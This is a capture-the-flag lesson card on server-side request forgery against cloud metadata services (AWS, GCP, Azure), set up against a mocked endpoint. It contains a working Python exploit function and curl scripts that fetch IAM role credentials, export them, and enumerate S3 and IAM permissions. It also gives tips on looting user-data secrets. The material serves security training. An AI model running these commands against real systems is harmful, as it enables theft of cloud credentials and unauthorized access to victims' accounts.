Browse CTFs New CTF Sign in

SSRF to Cloud Metadata: AWS IMDS Credential Theft via Server-Side Request Forgery

web_injection_logic Difficulty 1–5 30 min certifiable

Theory

Security Assessment Methodology

Cloud instance metadata services provide running virtual machines with information about themselves — instance ID, region, network configuration, and critically, temporary IAM credentials — via a link-local HTTP endpoint. This endpoint is reachable only from within the instance (via the 169.254.169.254 link-local address) and requires no authentication under IMDSv1. An SSRF vulnerability that allows the attacker to make the server issue requests to 169.254.169.254 therefore grants access to credentials that may have broad cloud permissions.

AWS IMDSv1 credential chain:

GET http://169.254.169.254/latest/meta-data/
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
  -> returns role name, e.g. "ec2-ssrf-demo-role"
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-ssrf-demo-role
  -> returns JSON: { "AccessKeyId": "ASIA...", "SecretAccessKey": "...", "Token": "...", "Expiration": "..." }

The returned credentials are valid STS temporary credentials (indicated by the ASIA prefix on AccessKeyId). They expire after 1–6 hours and are automatically rotated by the EC2 metadata service. With these credentials, an attacker can make AWS API calls with the permissions of the attached IAM role.

GCP metadata endpoint:

GET http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Header: Metadata-Flavor: Google   (required; requests without this header are rejected)

GCP metadata requires the Metadata-Flavor: Google header. In an SSRF scenario where the attacker cannot control request headers, some application frameworks automatically pass through arbitrary headers, or the attacker may find a way to inject the header via a CRLF injection in the URL parameter.

Azure IMDS:

GET http://169.254.169.254/metadata/instance?api-version=2021-02-01
Header: Metadata: true
GET http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
Header: Metadata: true

IMDSv2 (AWS) mitigation. IMDSv2 adds a session-oriented token requirement: before accessing any metadata, the caller must issue a PUT request to http://169.254.169.254/latest/api/token with X-aws-ec2-metadata-token-ttl-seconds: 21600 to receive a session token, then include that token in subsequent GET requests via X-aws-ec2-metadata-token. Standard SSRF using GET-only HTTP clients cannot complete the PUT preflight, effectively blocking IMDSv1-style exploitation. This challenge uses a mocked metadata endpoint that simulates IMDSv1 behaviour without requiring a real cloud environment.

Technical Deep-Dive

import requests

def fetch_aws_credentials_via_ssrf(
    ssrf_endpoint: str,
    param_name: str = "url",
    metadata_base: str = "http://169.254.169.254",
) -> dict:
    """
    Exploit an SSRF vulnerability to retrieve AWS IAM role credentials.
    ssrf_endpoint: URL of the vulnerable fetch/proxy endpoint
    param_name:    query parameter or JSON key that controls the fetched URL
    """
    # Step 1: List available IAM roles
    role_list_url = f"{metadata_base}/latest/meta-data/iam/security-credentials/"
    resp = requests.get(ssrf_endpoint, params={param_name: role_list_url}, timeout=10)
    role_name = resp.text.strip().splitlines()[0]
    print(f"[+] IAM role: {role_name}")

    # Step 2: Fetch credentials for the discovered role
    cred_url = f"{metadata_base}/latest/meta-data/iam/security-credentials/{role_name}"
    resp2 = requests.get(ssrf_endpoint, params={param_name: cred_url}, timeout=10)
    import json
    creds = json.loads(resp2.text)
    return creds

# Example: use retrieved credentials with boto3
# import boto3
# session = boto3.Session(
#     aws_access_key_id     = creds["AccessKeyId"],
#     aws_secret_access_key = creds["SecretAccessKey"],
#     aws_session_token     = creds["Token"],
# )
# s3 = session.client("s3")
# print(s3.list_buckets())
# Manual SSRF-to-metadata exploitation via curl
TARGET="https://vulnerable.example.com/fetch"
PARAM="url"

# Step 1: discover role name
ROLE=$(curl -s "${TARGET}?${PARAM}=http://169.254.169.254/latest/meta-data/iam/security-credentials/")
echo "Role: $ROLE"

# Step 2: retrieve credentials
CREDS=$(curl -s "${TARGET}?${PARAM}=http://169.254.169.254/latest/meta-data/iam/security-credentials/${ROLE}")
echo "$CREDS" | python3 -m json.tool

# Step 3: export credentials for AWS CLI use
export AWS_ACCESS_KEY_ID=$(echo "$CREDS" | python3 -c "import sys,json; print(json.load(sys.stdin)['AccessKeyId'])")
export AWS_SECRET_ACCESS_KEY=$(echo "$CREDS" | python3 -c "import sys,json; print(json.load(sys.stdin)['SecretAccessKey'])")
export AWS_SESSION_TOKEN=$(echo "$CREDS" | python3 -c "import sys,json; print(json.load(sys.stdin)['Token'])")

# Step 4: enumerate permissions
aws sts get-caller-identity
aws s3 ls
aws iam list-attached-role-policies --role-name "$ROLE"
# GCP: inject Metadata-Flavor header via SSRF (requires header control)
curl -s "${TARGET}" 
  --data-urlencode "${PARAM}=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" 
  -H "X-Forward-Header: Metadata-Flavor: Google"
  # Works if the application forwards arbitrary headers to the fetch target

# Azure IMDS token fetch
curl -s "${TARGET}?${PARAM}=http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01%26resource=https://management.azure.com/"
# Note: the application must forward the Metadata: true header, or Azure IMDS will reject it

Common Assessment Errors

1. Not enumerating beyond credentials. IAM credentials are the high-value target, but the metadata endpoint also exposes user-data scripts (which frequently contain hardcoded secrets), the instance ID, AMI ID, security groups, and network interface MAC addresses. Always retrieve the full metadata tree, not just IAM credentials.

2. Assuming IMDSv2 is always enforced. IMDSv2 enforcement is an opt-in configuration (HttpTokens: required on the instance). Many EC2 instances in production still run IMDSv1 (HttpTokens: optional). Do not skip metadata exploitation attempts because IMDSv2 "should be enabled."

3. Forgetting session token in API calls. Temporary STS credentials require three values: AccessKeyId, SecretAccessKey, and SessionToken. Omitting AWS_SESSION_TOKEN in the environment or aws_session_token in the boto3 Session will cause InvalidClientTokenId errors even with valid key/secret values.

4. Not checking user-data for secrets. The user-data endpoint (/latest/user-data) often contains cloud-init scripts written by developers that hardcode database passwords, S3 bucket names, or API keys. This is frequently the most impactful finding beyond IAM credentials.

5. Ignoring credential expiry during enumeration. Temporary credentials expire within 1–6 hours. During a long engagement, credentials retrieved early may expire before all API calls are made. Note the Expiration field and refresh credentials if needed by re-exploiting the SSRF.

6. Relying on the mocked endpoint behaving identically to real AWS. This challenge uses a mocked metadata server. Path structure and JSON response format follow the real IMDSv1 API, but edge cases — redirects, binary responses, chunked transfer encoding — may differ. Treat discrepancies as artefacts of the mock rather than real AWS behaviour.

Challenge Lab

Reinforce your learning with a hands-on generated challenge based on this card's competency.